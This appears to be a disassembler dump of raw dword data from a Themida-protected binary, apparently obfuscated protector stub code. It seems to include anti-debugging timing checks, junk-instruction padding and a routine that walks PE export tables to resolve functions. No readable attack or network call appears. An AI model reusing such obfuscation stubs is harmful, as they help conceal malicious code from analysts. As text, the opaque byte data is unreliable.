		dd 61600000h, 2F59BD8Dh, 89F90610h, 10228D8Dh, 6AAD06h
		dd 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0E85AFBC3h
		dd 0BDB53157h, 81061013h, 24247Ch, 0F100000h, 0DA87h, 15BD0100h
		dd 90061013h, 11E860h, 0F6A50000h, 6CD9FE6h, 3287053h
		dd 1B327493h, 6647711Ah, 0E95EF88Bh, 13h, 9F8E949Bh, 0F2C7D525h
		dd 6A737492h, 28C6CA1Ah, 6113FF89h, 0BE950h, 0EE6E0000h
		dd 986D7434h, 0D1A80CA2h, 8BF990C3h, 0F282444h,	68Dh, 4DB58900h
		dd 90061033h, 0E8A0Fh, 52500000h, 310F6160h, 8B0Fh, 585A0000h
		dd 48C0F50h, 60000000h,	90616160h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0E3C35040h,	21BE00ECh, 9908A23Ch
		dd 719529FCh, 8D06101Eh, 134F6A85h, 85896006h, 6102F1Dh
		dd 61F18B66h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 33028C3h, 89242444h, 1001CD9Dh
		dd 0B58B6006h, 6102F99h, 1629858Bh, 50610610h, 0FE9h, 82F82000h
		dd 1C2A0278h, 23A8BE29h, 0B8C2131Fh, 6A240489h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 5ABAC353h, 60892A11h, 92D8D89h, 0AB610610h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 8EC35242h, 0E428FB8Fh
		dd 0A86946BAh, 13E9h, 41B8A600h, 80E852Bh, 3B874395h, 23921B2Ah
		dd 0CF4608C9h, 2951BD09h, 0BD8D0610h, 6100601h,	0EE5B589h
		dd 29AD0610h, 100625BDh, 247C8106h, 28h, 64870F10h, 6A000001h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 2E3C350h,	60054333h, 1A2BB7BBh, 61EEB71Dh
		dd 0F525050h, 28Dh, 0F616000h, 52506031h, 585A310Fh, 8E9h
		dd 63C8C200h, 0D6A17694h, 585A618Fh, 6A240489h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0FCFAC356h, 14C5D667h, 89C448B6h, 102369B5h,	24448B06h
		dd 0E985012Ch, 90061000h, 16890Fh, 0E9600000h, 9, 0B7A4ACE0h
		dd 0D7BB03D0h, 0F5250A2h, 61585A31h, 60525050h,	450458BBh
		dd 0F525065h, 61585A31h, 5250310Fh, 310F6160h, 810Fh, 585A0000h
		dd 6A90585Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 9F7DC353h, 4A9FED1Ah, 19858960h
		dd 0F506102Fh, 6A858D61h, 6A06134Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 6218C351h
		dd 0B25D74E4h, 0C58D3160h, 60061005h, 12E9h, 29844200h
		dd 3A045F96h, 0AA9F0D28h, 80AE1BE6h, 8B67D933h,	0FF6161D0h
		dd 51006AD0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 92D4B6F8h, 5E9D6h, 69330000h, 33BBA93h
		dd 6A282444h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 6F7CC352h, 6951D095h, 14E9h, 0E8F6AF00h
		dd 18FE8083h, 20C2EB6Bh, 0DB1B960h, 0DE9D32Eh, 8F0FABD6h
		dd 6, 0A019D09h, 0FF5E0610h, 1385538Dh,	53BD8306h, 61385h
		dd 0C0330A75h, 944DB58Dh, 0E6FF0613h, 7C81AD56h, 2824h
		dd 0E771000h, 24448B50h, 858D502Ch, 6134F6Ah, 4403D0FFh
		dd 8B972824h, 4F858ADFh, 84061385h, 3A0474C0h, 574C7507h
		dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h
		dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h
		dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h,	0D2F7D575h
		dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h,	0FF04C683h
		dd 10147585h, 0FF5DE906h, 0F5EFFFFh, 0D8Bh, 8E900h, 62E10000h
		dd 0A01D4593h, 6ACE87h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0E006C8C3h, 0E98E78FEh, 14h, 3FB7A9F4h
		dd 0E3230C8Bh, 576EE177h, 8328F0D1h, 5B689740h,	0F08B6060h
		dd 93CA4DB9h, 0FD8A612Bh, 75858B61h, 6A061014h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 18DCC357h, 25B494E9h, 56F844DCh, 10818529h, 0E0D10610h
		dd 13E9h, 82673800h, 0E6EFE05Dh, 0FC199376h, 92ABC20Ch
		dd 0AFA07593h, 6018503h, 6A0610h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 866A07C3h, 986956A0h
		dd 0FE9h, 7B8CF900h, 5F668441h,	17213B54h, 3BD05F02h, 9DD8D89h
		dd 0BE0610h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0DC16C351h,	4D8D892Fh
		dd 96061002h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Ah,	39C35343h, 0A4905326h, 9589738Bh, 6100E8Dh, 0BE9AD66h
		dd 4C000000h, 472BBB37h, 677CBB0Ah, 0C1F9F656h,	6A02E0h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 6A20ECC3h, 0DB4D9DA9h, 603A0D05h, 152BD3BFh,	61DA8A59h
		dd 20B58503h, 9D890610h, 6102159h, 50006A96h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 41CB3B16h
		dd 56006AADh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 6696CEC5h, 7F6255C9h, 0BA666065h, 57606C90h
		dd 458D095Ah, 61061008h, 13E961h, 2F330000h, 0EC99B16Dh
		dd 0A0744976h, 81A4D634h, 3C060C80h, 247C8139h,	24h, 8D870F10h
		dd 0E9000000h, 0Fh, 0CFA5D704h,	0B8AFA1C1h, 4237DD80h
		dd 50781626h, 52505250h, 310F5250h, 310F585Ah, 8E0Fh, 585A0000h
		dd 5250310Fh, 840Fh, 310F0000h,	0CE9h, 2E18300h, 72B57239h
		dd 29ED54F9h, 5A585A6Dh, 24048958h, 6830Fh, 0BD890000h
		dd 6101481h, 2824448Bh,	1830Fh,	50F50000h, 4896160h, 0ED852924h
		dd 8D06102Dh, 134F6A85h, 7850F06h, 0F000000h, 184h, 840FFC00h
		dd 1, 0FCD0FFFCh, 24244403h, 0FD958960h, 0E806100Bh, 8
		dd 0D29258AEh, 1AEFE4BBh, 615F8EB7h, 1C244489h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 90C35242h, 0DD858994h
		dd 0C606101Eh, 1023E585h, 85C70006h, 61386CBh, 0
		dd 855785C7h, 613h, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 180424h, 51410000h, 4C1263C3h, 6AFCA323h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 5A4CC355h, 622DE9B3h, 0BE9h, 793CC600h, 84A9E3FDh
		dd 0B9CA0F8Eh, 498D8961h, 1061014h, 100B51BDh, 8C206h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B3C35545h
		dd 827D309Fh, 20B5858Bh, 6A0610h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 36D869C3h, 8E9F625h
		dd 0DC000000h, 0AE1A962Ah, 4A811611h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 81C35242h, 4BE5033Ah, 4D26BFCh
		dd 6AC203F8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0B54AC355h, 1171B509h,	0B5010610h
		dd 6101B55h, 57006A96h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 4B634D95h, 1B501D8h, 0AD061030h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BDC35141h
		dd 3145B474h, 1029718Dh, 247C8106h, 24h, 11870F10h, 60000001h
		dd 7CCB8166h, 15BD33E6h, 61061007h, 0DE990h, 66C50000h
		dd 0ECC0D07Eh, 0AD69056Fh, 507443D4h, 52505360h, 585A310Fh
		dd 6A90615Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 49D7C356h, 9E91Bh, 80260000h
		dd 1F83157Bh, 8B401CB3h, 6A282444h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 65A2C351h
		dd 6890F60h, 81000000h,	0B7A255CBh, 24C98178h, 61763E2Ch
		dd 8E950h, 7D830000h, 3B9CFB63h, 4896CA9h, 0B860F24h, 0E9000000h
		dd 6, 0FFD6D1E5h, 858DFD06h, 6134F6Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0E8C35141h,	0AAE95620h, 0FF9CDF80h
		dd 0D98D298Ch, 0FF061022h, 53006AD0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 800F6289h
		dd 0Ch,	7E9h, 0EF673B00h, 70E98CC7h, 0FFFD2BE9h, 51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0F1A20792h, 0CE98AA9h, 0ED000000h, 0AFB01FCAh, 0EB7B4E51h
		dd 8D45CEF2h, 1399B685h, 619D8906h, 9006101Ch, 0EABF6660h
		dd 0E9506186h, 12h, 544826CCh, 3BCAA122h, 2E8BB10Fh, 4623C141h
		dd 0F5903EE0h, 35FF64h,	0F000000h, 187h, 48BF500h, 9D9D3124h
		dd 89061032h, 101FBD85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 843FEA11h, 757118D4h
		dd 0B70F6056h, 619D8BCAh, 6106100Fh, 39BD89F9h,	6406102Fh
		dd 2589h, 890F0000h, 6,	4DB509h, 858D0610h, 6139815h, 16089F9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0BCC35343h
		dd 29FB3EBBh, 1D8D8913h, 0E9061019h, 1E2h, 13A5BD29h, 0DB8B0610h
		dd 0E8h, 0ED815D00h, 613980Eh, 12FF9CBCh, 69BD8300h, 61029h
		dd 858B1874h, 61010C5h,	8B0000C6h, 10070185h, 0C606h, 9AD95FFh
		dd 0FF600610h, 13815BB5h, 5F858D06h, 50061381h,	8357858Dh
		dd 0FF500613h, 10025195h, 0CC48306h, 10820F61h,	0E9000000h
		dd 0Bh,	0C4AA351Ch, 68C811E8h, 8977ED22h, 101289B5h, 57B58D06h
		dd 89061383h, 1018F995h, 1BD8D06h, 6A06102Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 453C351h, 47413C6Eh,	3E80F0h, 33840Fh, 0A4F50000h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C2C35646h, 33D997F7h
		dd 1D5DB589h, 0CAE90610h, 29FFFFFFh, 100DBDB5h,	89C02B06h
		dd 1004A19Dh, 6AAA06h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 8950C6C3h, 7B84E37h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 6EA2C353h, 0E2019892h, 0BE982h, 6C340000h
		dd 4C006AB1h, 0E834E29h, 0A185C71Eh, 106102Dh, 60000000h
		dd 9959EE81h, 85892E50h, 6102161h, 858D8D61h, 6A06104Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0F726C351h, 0BF25E91Bh, 0F70890E7h, 2FC99D89h
		dd 0E1FF0610h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0BDC35343h, 0C72390E8h,	0AE60FF20h
		db 7Fh
byte_584E21	db 8Bh,	5Ch, 24h	; DATA XREF: Themida_:0054C910o
		dd 0E8550Ch, 5D000000h,	99C0ED81h, 838B0613h, 0B8h, 815B8589h
		dd 858D0613h, 6139807h,	0B88389h, 335D0000h, 6AC3C0h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 8DD497C3h, 74D38B44h, 60F851F2h, 12E9h, 6B1D7E00h, 25D9D1FEh
		dd 0DB08A46Fh, 37607E76h, 60E6D7EFh, 8B0Fh, 59530000h
		dd 9F56161h, 1013AD85h,	6A6006h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0EE8E75C3h, 0A6460114h
		dd 8E9C0h, 0DBA60000h, 0DF7A34A4h, 858D6DD6h, 6139CB9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 72C35040h
		dd 0F04F6C2Ah, 0F6398E86h, 1820FFCh, 0F8000000h, 13800F50h
		dd 0F000000h, 0D85h, 8E900h, 9E1D0000h,	76AACFC8h, 489DCEFh
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0D1A4A6A2h, 16B27B07h, 13E92Ch, 0B5D80000h
		dd 0BBBFC940h, 8287E4D3h, 6D3AB33Dh, 78A66ECEh,	11E9E6h
		dd 898F0000h, 0C79601C4h, 0C65EB8BDh, 3719E64h,	6408D9EAh
		dd 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 7695FC3h, 0B32DA003h, 60BE632Ah
		dd 3289B52Bh, 5E80610h,	0D8000000h, 8FF3D9D7h, 615AE3B7h
		dd 258964h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 5DF9C355h, 14B95DA5h
		dd 8B60624Ah, 10147995h, 55B52B06h, 61061010h, 1B858DF8h
		dd 6006139Dh, 30ED8D8Bh, 0E8500610h, 9,	9868AE53h, 569A99D7h
		dd 61585AE3h, 6A016089h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 65C9C357h, 0DD44DF78h
		dd 0F5563153h, 12E9h, 5899C500h, 44556317h, 47F39113h
		dd 0B3AC7D82h, 0C68BA51Bh, 1023E585h, 68F54F06h, 0D13A7410h
		dd 128A0Fh, 52500000h, 310F5250h, 310F585Ah, 310F5250h
		dd 585A585Ah, 1A240481h, 892D8E00h, 1023D195h, 10810F06h
		dd 0E9000000h, 0Bh, 0B0F2ADC7h,	8F324078h, 0FFAC087Fh
		dd 101D45B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 34FCE1F5h, 22220712h, 228DBD89h
		dd 858D0610h, 613858Ah,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0D8C35141h, 1A1CCDADh, 0B4662B4Ch, 6AD0FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 7E75A9C3h, 987818E5h, 0B5019FC7h, 610167Dh, 6DE9h, 75B58900h
		dd 6006100Dh, 61FA8AF8h, 0C245C8Bh, 0E855h, 815D0000h
		dd 139CC3EDh, 99858B06h, 89061014h, 101D4585h, 0E5858B06h
		dd 89061020h, 10094585h, 61858B06h, 8906102Eh, 10145D85h
		dd 0E585C606h, 61023h, 86CB85C7h, 613h,	858D0000h, 6139D1Bh
		dd 0B88389h, 335D0000h,	9531C3C0h, 61009A1h, 22E98589h
		dd 74BC0610h, 6A0012FFh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0AB80C357h,	7E0C58D8h
		dd 10E93Eh, 41EA0000h, 5A546065h, 9AB0842Bh, 0A480A937h
		dd 8F64513Bh, 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BD89FED7h, 6102871h
		dd 6A04C483h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 5ABAC353h, 69892A11h, 8B666099h
		dd 0E86161C6h, 13h, 0AF8572E9h,	4C0DAF9Ch, 14F0384h, 290271EFh
		dd 0E90D7494h, 5, 0DE5B5F7h, 890F5F1Ah,	2, 0C781D98Bh
		dd 718Fh, 0BAC28B66h, 1C34h, 1F719589h,	0F8B0610h, 27E981F9h
		dd 66546569h, 81576CB8h, 6BBCF2F1h, 0EE944h, 0EB970000h
		dd 0EB7E837Eh, 0BAE7F977h, 17F67467h, 0FD32F181h, 0B5295E67h
		dd 61023F9h, 0C5B00F89h, 8B04EF83h, 1008B19Dh, 1EA8106h
		dd 0F000000h, 1385h, 0C5858B00h, 0E9061007h, 33h, 0F0492A51h
		dd 0B7C8D6B0h, 14E9h, 0F6898100h, 48BD17D2h, 0D8AE0395h
		dd 4A34B445h, 0DF8ED402h, 0FF84E99Ah, 7B93FFFFh, 3EB8ABEh
		dd 0BF6B5CA4h, 0E93A32EDh, 83h,	56525153h, 245C8B57h, 3B81661Ch
		dd 850F5A4Dh, 68h, 3C43B70Fh, 8166D803h, 0F45503Bh, 5785h
		dd 785B8B00h, 1C245C03h, 324738Bh, 561C2474h, 8B207B8Bh
		dd 7C031C73h, 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch
		dd 24540317h, 4C78320h,	0C084028Ah, 33A0874h, 4243E875h
		dd 33AF2EBh, 0D15FE075h, 4B70FE1h, 86048B0Fh, 1C244403h
		dd 595A5E5Fh, 8C25Bh, 0F1E9C033h, 8BFFFFFFh, 7E8CAh, 0A2EA0000h
		dd 0C6C8CF36h, 0D18B66BEh, 0D08B6658h, 5F48C081h, 0BA660000h
		dd 0E2B9B8CAh, 813601C8h, 1DF41F1h, 0E8388B36h,	11h, 0A4533AB1h
		dd 6F11992Ch, 0B6329110h, 513C5E6Eh, 0F5DE81BDh, 5A37B91Eh
		dd 0FC3FEF81h, 0CAB771D7h, 0EE78F781h, 0E6806D1Bh, 59C781F4h
		dd 8B1D45F8h, 603889DFh, 800FE78Ah, 6, 950DD081h, 836178EDh
		dd 0FE902E8h, 80000000h, 0E26D06EFh, 75820F36h,	0EFDD6899h
		dd 4848D0BDh, 0E9835DB7h, 19850F01h, 66000000h,	1D5AF381h
		dd 25E9h, 7A308600h, 0F12FA7A3h, 6042210Ch, 0F9810F8Bh
		dd 83EB8166h, 0FF6FE90Ah, 3353FFFFh, 0D74365A2h, 13ECE49Ah
		dd 0F3E97C19h, 37000000h, 97424C5Dh, 838A055Ch,	1D76A188h
		dd 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh, 7F2D773Dh,	7DD77DD5h
		dd 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h,	37335375h
		dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh
		dd 20206020h, 2060E0E0h, 0F77B68ACh, 20A1E4A9h,	0A693B2D0h
		dd 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h
		dd 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h,	50F0362Bh
		dd 0B6F360C9h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h
		dd 602060F7h, 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h
		dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh,	7DD77DD5h
		dd 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h,	37335375h
		dd 357D2F6Dh, 0E0A1Eh, 0D25D3407h, 1E59A0A3h, 3	dup(0)
		dd 0E1E90000h, 6800000Ch, 613A338h, 0FCDFA3E9h,	0A45268FFh
		dd 99E90613h, 68FFFCDFh, 613A53Ah, 0FCDF8FE9h, 0A5F768FFh
		dd 85E90613h, 68FFFCDFh, 613A683h, 0FCDF7BE9h, 0A72B68FFh
		dd 71E90613h, 68FFFCDFh, 613A858h, 0FCDF67E9h, 0A93468FFh
		dd 5DE90613h, 68FFFCDFh, 613AA3Dh, 0FCDF53E9h, 0AAFC68FFh
		dd 49E90613h, 68FFFCDFh, 613ABE3h, 0FCDF3FE9h, 1F6204FFh
		dd 3D742CABh, 1A53FA81h, 3774179Eh, 1150F483h, 2153AF9Dh
		dd 0FD7C306Fh, 0C84F0B4Ch, 0E473E722h, 5752063Bh, 0DD1CA665h
		dd 0FBF86BDFh, 4E793231h, 0CC7CE75Bh, 0E388FF6Dh, 0FAA6CAA6h
		dd 3DE92ADBh, 0AA5BDE82h, 10AF9469h, 0A9255A11h, 4C1EBD5Ch
		dd 0CEA0D78Dh, 0CC7C67DBh, 0C6A37F6Dh, 1D02F7B2h, 9CC267FCh
		dd 23A355EDh, 845EA94h,	0C68181Ch, 1D2F2BEFh, 0D46E1D43h
		dd 309423A3h, 0A3FD4534h, 46E49423h, 90E311B2h,	550E857Dh
		dd 7F2A4420h, 9423C6C3h, 74324723h, 0C579AE55h,	7BD8D36h
		dd 4062EBD0h, 0CBB50F1h, 0D06D3CE8h, 299423A9h,	5CDFFB9Ah
		dd 0C48F6CA5h, 8872E61Bh, 2FE31CD1h, 9BB7F298h,	194EF5BEh
		dd 8AB56E6Dh, 23A9239Fh, 8B67C394h, 2A1C297h, 245B11C8h
		dd 9ED38C47h, 609E6F2Ah, 3F7E397Bh, 80000005h, 0DEDB814Bh
		dd 0A0BD1EABh, 44793204h, 0ED55542Ah, 96DCC7Ch,	374E502Dh
		dd 0BA815B90h, 982AE116h, 7C6DCC7Ch, 54D0C4A0h,	5362BF77h
		dd 3FE37688h, 65A24504h, 90B97088h, 7667FC11h, 0E75F06FAh
		dd 6942396h, 0BA13D66Dh, 9A397B3Fh, 2Fh, 396E15A4h, 5A9B4E4Dh
		dd 2FA6CAA6h, 0A3293E7Dh, 4C1EBD5Ch, 0FC7C745Dh, 0EA969267h
		dd 3C7C03BBh, 32D1E294h, 7B35F6B7h, 0E3D639h, 32340000h
		dd 0CD02A979h, 0BA9E54D9h, 0AEB9B2B9h, 71D1B892h, 956DCC7Eh
		dd 0D2C9BD99h, 629F441Eh, 4CF3927Eh, 968AC77Ch,	79C9C09Ah
		dd 9D6DCC7Eh, 10CBA5C1h, 5C4A1F5Ah, 0DD51863Dh,	0CC02A12Eh
		dd 0B8ED966Dh, 45441A04h, 923382FDh, 73401D19h,	16EB97CCh
		dd 702DCFFh, 9803F41Ah,	0C18FB19Ah, 3E7F8BD0h, 52274B8Ah
		dd 0D1FAD450h, 498537D2h, 0D62E1B54h, 62687D67h, 0A57DFFCh
		dd 2BDEF0EBh, 9E152786h, 0FCAA480h, 344C215Ah, 8C403A5h
		dd 3BA0DF91h, 403ACC03h, 0B590190Dh, 0FA000009h, 22991558h
		dd 77336Ah, 1D9C1049h, 2AB12D6Ah, 95934786h, 0A49FB69h
		dd 0E526C74Eh, 13CF269h, 0E015CE4Dh, 8C7F816Ch,	6BDFDF36h
		dd 324BD1CEh, 0AE2D3F7Eh, 63DFCAF5h, 836DCC7Ch,	28AECBA7h
		dd 9C5FAB1h, 1EBD5C83h,	7C745D4Ch, 969267FCh, 6B3887C4h
		dd 971DC91Fh, 2995C4C2h, 0CC943C4Bh, 14DD18B7h,	0F4397AFFh
		dd 0EDh, 5D9E4F0Ah, 7932A480h, 6549F63Bh, 6326AC48h, 6DCC99DFh
		dd 3B173B37h, 679C5047h, 0CC991EA4h, 4D7AF66Dh,	4612BA49h
		dd 4E421EBDh, 0CC078E07h, 95CA816Dh, 47194719h,	0CC7FFE44h
		dd 6B1A166Dh, 6DCC7FD7h, 0BDDC9EFAh, 5646F322h,	0EC886BD1h
		dd 698DFFD7h, 0EB20C794h, 0A72BCA37h, 0F1CB5B94h, 0A66577EAh
		dd 6DCC301Ch, 86587CF8h, 1FD310B3h, 57522643h, 67FC464Ah
		dd 623CF06Ch, 0E3F833D7h, 96687382h, 0A8F2F93h,	7316A59Eh
		dd 9651532h, 7B58F6F7h,	0FF8961FFh, 0A14316EAh,	0BD6FE662h
		dd 0DE6BD97Eh, 7125403Bh, 89B68h, 0EB2EE000h, 940E86Fh
		dd 0E61FC655h, 340E372h, 0DD1CD047h, 0ED1F6B61h, 0B940FC3Bh
		dd 0D463D718h, 0C037F32Eh, 7356D207h, 0D820A289h, 0E7C46BDFh
		dd 3F7E325Dh, 1E530C8Bh, 6709D0AAh, 0E3F87C28h,	5F04D749h
		dd 0D58E4522h, 2ED5F4A0h, 1C9945F9h, 91786678h,	6DCC7C31h
		dd 10B259D5h, 0F46DCC7Ch, 7C3B8782h, 7FDB6DCCh,	23FE463h
		dd 0A835120Eh, 0CEB0CA11h, 681C570Bh, 0AF34EF0Ch, 2567FC20h
		dd 96B3F296h, 887688E4h, 2FE31CD1h, 0A0FE4433h,	1A169423h
		dd 3C9723Dh, 2697EB2Ch,	77324C8Fh, 9CDB718Ah, 0FC19214Ah
		dd 1F30453Ah, 28DC584Ah, 2A93CDBh, 98DBD640h, 0D2ACC8A4h
		dd 0EC2BF1D7h, 3B151192h, 0ED9CC780h, 82C85855h, 53F6B5B1h
		dd 0FB7A2E12h, 5E890644h, 0E4007CD2h, 6FD75B00h, 0EDB95CE2h
		dd 7B3FCh, 1356F800h, 31682097h, 0E47FE7Dh, 2B681B9Ah
		dd 458428AFh, 0F567A389h, 21981453h, 0FC7B2F70h, 0C84F0B46h
		dd 7B6EEA1Fh, 0D9388A81h, 0FFDC6BDFh, 44793235h, 87546350h
		dd 5FDB675h, 9D9967FCh,	0A635C421h, 7E2FAAD4h, 8AFE4447h
		dd 1A169423h, 11E64A36h, 146A491Ah, 0F6B5CB9Eh,	9E102A4Ch
		dd 0EBAFCCA8h, 26DE5D6Fh, 5A8F38EFh, 0CBADCAA6h, 0A6225710h
		dd 4F43782Fh, 76885362h, 12334975h, 95B229AAh, 0F6A2C8C3h
		dd 6629427h, 89BE65F4h,	5F02EBD5h, 9DB40060h, 67209BB0h
		dd 3331832h, 0AF105001h, 826F2F4Ch, 93966873h, 8A341CA2h
		dd 0FD7BE03Ch, 0D3545E18h, 6F6D2C3h, 8B3B0000h,	5F059448h
		dd 8025B428h, 5F049347h, 7D2FA622h, 609C8A3Eh, 4BFF3EF2h
		dd 64D819CCh, 42F631D5h, 63D70CB3h, 2D959468h, 0C96BDFD9h
		dd 0BD5C60ECh, 77324C1Eh, 6DCC7CCBh, 461A2F2Bh,	0FB9B2F43h
		dd 718BE767h, 0BD7042EAh, 0C8AC587Ch, 550ECDB3h, 79304E20h
		dd 94201DC9h, 0A21C312Dh, 114E01B8h, 0AA1CF865h, 8343E53Fh
		dd 1AD18A5Fh, 35C431E5h, 721E550Bh, 11F8D2EEh, 9E109240h
		dd 0A5BD2A06h, 6B403A9Ah, 66A2ABBh, 0FFAF0000h,	0D37900BCh
		dd 0F499209Ch, 0D378FFBBh, 0F1932296h, 0F410F6B2h, 27A3E286h
		dd 0BCFDB0h, 1E9AD579h,	0FFBBF097h, 0C979300Ch,	2D6BDFDAh
		dd 0BD5CE4B0h, 45D4C1Eh, 8067FB9Ch, 0EEDB14B9h,	3DF3376Ch
		dd 54462301h, 6D806D8h,	203EBF03h, 0FEDB5794h, 87598E35h
		dd 1FD30EB4h, 29B02643h, 6C594D82h, 0A2BC8E4Dh,	203E5BE7h
		dd 8D5FBB94h, 203E249Eh, 8764C094h, 0D9D0BA71h,	6C929E17h
		dd 14DE05BDh, 6885E19Eh, 15A4B6B2h, 0F685396Eh,	976C184Dh
		dd 8A815B80h, 9424A7B5h, 8468D551h, 0AA5E2E8Fh,	5C2E9FAh
		dd 67070000h, 7B31A824h, 5C118844h, 7B30A723h, 590B8A3Eh
		dd 5CA89E1Ah, 7F3B7A2Eh, 981455F8h, 76326D21h, 971348FFh
		dd 61E1C8B4h, 856BDFDBh, 79329C28h, 0FDAF2A44h,	794ED2BEh
		dd 20550E8Dh, 1BC057ACh, 11614A41h, 0C9A567FCh,	447D24B7h
		dd 5B943950h, 0D2A7CBA7h, 973985D4h, 64DC9423h,	8CAEC767h
		dd 4C214B3Bh, 0D41DD877h, 0B4397B7Bh, 44h, 215A0FCAh, 0A9D7804Ch
		dd 0CC7C4002h, 792DA46Dh, 0B845223Eh, 0E9A0BA21h, 67FC7CC8h
		dd 8A913F2Ch, 0D70E85C6h, 70240002h, 23FA9D29h,	0AC438094h
		dd 7BAF8849h, 0BF6839h,	55960000h, 879377C8h, 2400DD57h
		dd 50447932h, 86589739h, 7C11B158h, 79F56DCCh, 7C1EA467h
		dd 7AF66DCCh, 812AA15Dh, 8A41584Ch, 0A532D955h,	9A6DCC00h
		dd 0E126B3F1h, 0BBD5935h, 0A34615E7h, 4AD18562h, 4BB86CA1h
		dd 6E1D2FACh, 980318ADh, 461DD59h, 1514E6F5h, 9E15B025h
		dd 0D08B65C1h, 659E431Bh, 0E591B5B1h, 0EC21CA81h, 391F3C38h
		dd 1B8FCE82h, 44A9E89Ch, 403A5B56h, 95BB2CF8h, 0DA000004h
